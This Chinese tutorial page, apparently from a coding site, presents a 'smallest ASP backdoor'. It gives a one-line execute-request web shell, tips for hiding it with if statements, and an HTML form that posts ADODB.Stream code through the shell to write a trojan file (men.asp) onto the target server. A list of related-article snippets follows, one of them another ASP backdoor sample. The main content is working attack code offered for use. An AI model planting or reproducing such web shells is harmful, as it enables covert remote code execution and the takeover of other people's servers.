最小asp后门程序
首先在asp文件中写如<%execute request("value")%>代码
如果想要隐藏,就要加入一些if判断语句,即可
然后在本地写个表单
代码如下:
<form action=http://***.com/jb51.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("hackbin")
lP.SaveToFile server.mappath("men.asp"),2
lP.Close
set lP=nothing
response.redirect "men.asp"
</textarea>
<textarea name=hackbin cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br> <input type=submit value=提交>
保存为htm文件,把http://***.com/jb51.asp替换成你插入<%execute request("value")%>的文件,然后点提交直接跳转到木马
相关推荐
-
最小asp后门程序
首先在asp文件中写如<%execute request("value")%>代码如果想要隐藏,就要加入一些if判断语句,即可然后在本地写个表单 复制代码 代码如下: <form action=http://***.com/jb51.asp method=post> <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream
-
新型ASP后门源代码分析
本是为了逃LAKER2兄 查ASP木马程序的 现在已经挑战成功,已经加为检查对象了.公布出代码给冰点的朋友使使,希望大家喜欢! 利用的是ADOX.Catalog组件 复制代码 代码如下: <% 'code by netpatch dim dbfile,sql db="netpatch.asp" dbfile=server.MapPath(db) set ydb=server.CreateObject("ADOX.Catalog")
-
ASP小偷程序如何利用XMLHTTP实现表单的提交
[原创]ASP小偷程序如何利用XMLHTTP实现表单的提交以及cookies或session的发送 利用XMLHTTP来制作小偷的具体细节落伍很多人都发过和讨论过了,但是在制作ASP小偷的过程中,很多人就发现ASP小偷不如PHP小偷的那么强 大了.确实,如果在原网站如果存在表单提交或cookies的验证,对于ASP来说,不使用基于SOCKET的组件就难以完成,其实,XMLHTTP的另外两 个方法被我们忽略了,而这正是问题的关键. 下面首先来说说这个方法 1..send() 由于流行的小偷是使用的
-
全面优化ASP应用程序的性能的方法
ASP 本身并不是一种脚本语言,它只是提供了一种使镶嵌在 HTML 页面中的脚本程序得以运行的环境,而在ASP中最常用的脚本语言就是VBScript了.虽然ASP的脚本语言很简单,但是要想让一个ASP程序能够最优化的运行也不是一件简单的事情. 现在国内的网络带宽很有限,网络十分拥挤,如何使得自己的ASP应用程序能够快速的运行就成为了每一个ASP程序员的梦想了.那就跟随我来一同加速你的ASP程序吧! 一. 有关操作数据库的优化方法 我们使用ASP最主要的用途就是对数据库进行操作了,如何更快速
-
Asp.Net程序目录下文件夹或文件操作导致Session失效的解决方案
1.配置web.config <system.web> <sessionState mode="StateServer" stateConnectionString="tcpip=127.0.0.1:42424" sqlConnectionString="data source=127.0.0.1;Trusted_Connection=yes" cookieless="false" timeout="
-
asp.net程序编译调试时偶尔出现访问被拒绝的错误的解决方法
问题描述: 编写asp.net程序,当编译调试比较频繁的时候,很容易经常地出现访问被拒绝.形如: 分析器错误信息: 访问被拒绝:"Microsoft.Web.UI.WebControls".源错误: 行 197: <add assembly="System.Web.Mobile, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>行 198: <add as
-
Asp.net程序优化js、css实现合并与压缩的方法
本文实例讲述了Asp.net程序优化js.css实现合并与压缩的方法.分享给大家供大家参考.具体实现方法如下: 访问时将js和css压缩并且缓存在客户端, 采用的是Yahoo.Yui.Compressor组件来完成的,用户可以点击此处本站下载. 创建一个IHttpHandler来处理文件 复制代码 代码如下: public class CombineFiles : IHttpHandler { private const string CacheKeyFormat = "_Cac
-
ASP.NET程序中常用代码汇总
1. 打开新的窗口并传送参数: //传送参数: response.write("<script>window.open('*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="++"')</script>") //接收参数: string a = Request.QueryString("id"); string b = Request.QueryS
-
Bat自动解压缩发布asp.net程序
1解压缩压缩包 2替换文件 3停止服务 4重建虚拟目录 5重启服务 @echo 1.Zipexe 好压压缩程序集路径 @echo 2.zipFileName 压缩文件的路径 @echo 3.ylxt 解压缩文件的路径 @echo 3.webconstant 发布目录中不会修改的文件.和文件夹,需要和虚拟目录的目录结构保持一致 @echo 4.PubparentFolder 虚拟目录的父目录 @echo 5.PubFolderName 虚拟目录名 set Zipexe="C:\Program Fi
-
ASP.NET程序发布详细过程
前言 ASP.NET网站的发布,无论是初学者还是高手,在程序的发布过程中或多或少会存在一些问题,譬如VS发布ASP.NET程序失败.IIS安装失败.IIS发布失败.局域网内不能访. 配置文件错误.权限不足等一系列问题,结合我带领的500多人的技术团队反应的各种问题,我今天花点时间总结一下,方便大家,共同学习,共同进步. 为了后文的深入详细分析,我写了一个小Demo,代码附上.本次基于VS2013,OS为WIN10,IIS7等环境讲解.(其他操作系统如WIN7原理也类似,但有细微差别) 1.解决方
随机推荐
- 通过PHP的内置函数,通过DES算法对数据加密和解密
- Java计算几何图形面积的实例代码
- Swift调用Objective-C代码
- webpack实现热更新(实施同步刷新)
- PL/SQL实现JAVA中的split()方法的例子
- mysql #1062 –Duplicate entry '1' for key 'PRIMARY'
- Windows Powershell对象转换成文本
- 一个简单的SQL 行列转换语句
- A标签中通过href和onclick传递的this对象实现思路
- JS插件overlib用法实例详解
- 一款不错的键盘密码输入js程序
- 蓝雨设计整站SQL注入漏洞
- Java 泛型总结及详解
- 一个级联菜单代码学习及removeClass与addClass的应用
- python+matplotlib绘制3D条形图实例代码
- Android仿QQ复制昵称效果
- java如何读取超大文件
- 详解springboot和vue前后端分离开发跨域登陆问题
- MySQL计算两个日期相差的天数、月数、年数
- MySql 快速插入千万级大数据的方法示例